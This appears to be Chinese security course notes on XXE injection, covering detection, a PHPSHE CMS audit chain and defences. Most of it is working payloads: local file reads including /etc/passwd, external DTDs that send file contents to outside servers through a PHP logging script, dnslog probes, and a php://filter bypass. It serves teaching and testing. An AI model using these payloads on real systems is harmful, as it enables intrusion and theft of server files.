知识点:
1、XXE&XML-原理-用途&外实体&安全
2、XXE&XML-黑盒-格式类型&数据类型
3、XXE&XML-白盒-函数审计&回显方案
详细点:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。
php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析
XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
- 1
2、判断对方使用XML来传输数据时,尝试xml语言payload进行测试
3、不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe
4、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)
参考地址:Word文档进行XXE攻击_docx xxe-CSDN博客
XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
XXE修复防御方案:
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
一、演示案例-XML&XXE-传输-原理&探针&利用&玩法
有回显:
1、读取文件
解释
<?xml version="1.0"?> <!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>
2、外部实体引用dtd:
解释
<?xml version="1.0" ?> <!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd"> %file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
xxe.dtd
<!ENTITY send SYSTEM "file:///d:/1.txt">
无回显:
3、带外测试
解释
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>xiaodi</password></user>
或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。
python -m http.server port
- 1
4、无回显读文件(外部实体引用dtd)
解释
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd"> %remote; %all; ]> <root>&send;</root>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
xxe.dtd(真实情况下肯定放在VPS上)
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
- 1
get.php(真实情况下肯定放在VPS上)
解释
<?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
- 1
- 2
- 3
- 4
- 5
- 6
那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?
可以用php伪协议来绕过呀
php://filter/read=convert.base64-encode/resource=phpinfo.php
- 1
解释
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> <!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd"> %remote; %all; ]> <user><username>&send;</username><password>admin</password></user>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
其他玩法(协议)-见参考地址
https://www.cnblogs.com/20175211lyz/p/11413335.html
二、演示案例-XML&XXE-黑盒-JSON&黑盒测试&类型修改
漏洞URL:http://web.jarvisoj.com:9882/
更改请求数据格式:Content-Type为xml格式
解释
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
- 1
- 2
- 3
- 4
- 5
三、演示案例-XML&XXE-白盒-CMS&PHPSHE&无回显
审计流程:
1、搜索漏洞函数simplexml_load_string
- 1
2、pe_getxml函数调用了漏洞函数
- 1
3、wechat_getxml调用了pe_getxml
- 1
4、notify_url.php调用了wechat_getxml
- 1
5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试
- 1
先尝试读取文件,无回显后带外测试:
解释
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn"> %file; ]> <root>&send;</root>
存在XXE漏洞
然后带外传递数据解决无回显:
解释
<?xml version="1.0"?>
<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root> test.dtd: <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> get.php <?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>